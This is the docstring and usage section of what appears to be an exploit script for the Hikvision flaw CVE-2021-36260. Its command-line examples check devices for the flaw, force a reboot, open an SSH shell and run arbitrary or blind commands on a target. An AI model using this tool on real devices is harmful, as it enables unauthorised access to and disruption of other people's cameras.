"""
Note:
1) This code will _not_ verify if remote is Hikvision device or not.
2) Most of my interest in this code has been concentrated on how to
reliably detect vulnerable and/or exploitable devices.
Some devices are easy to detect, verify and exploit the vulnerability,
other devices may be vulnerable but not so easy to verify and exploit.
I think the combined verification code should have very high accuracy.
3) 'safe check' (--check) will try write and read for verification
'unsafe check' (--reboot) will try reboot the device for verification
[Examples]
Safe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check
Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot
Unsafe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot
Launch and connect to SSH shell:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell
Execute command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"
Execute blind command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"
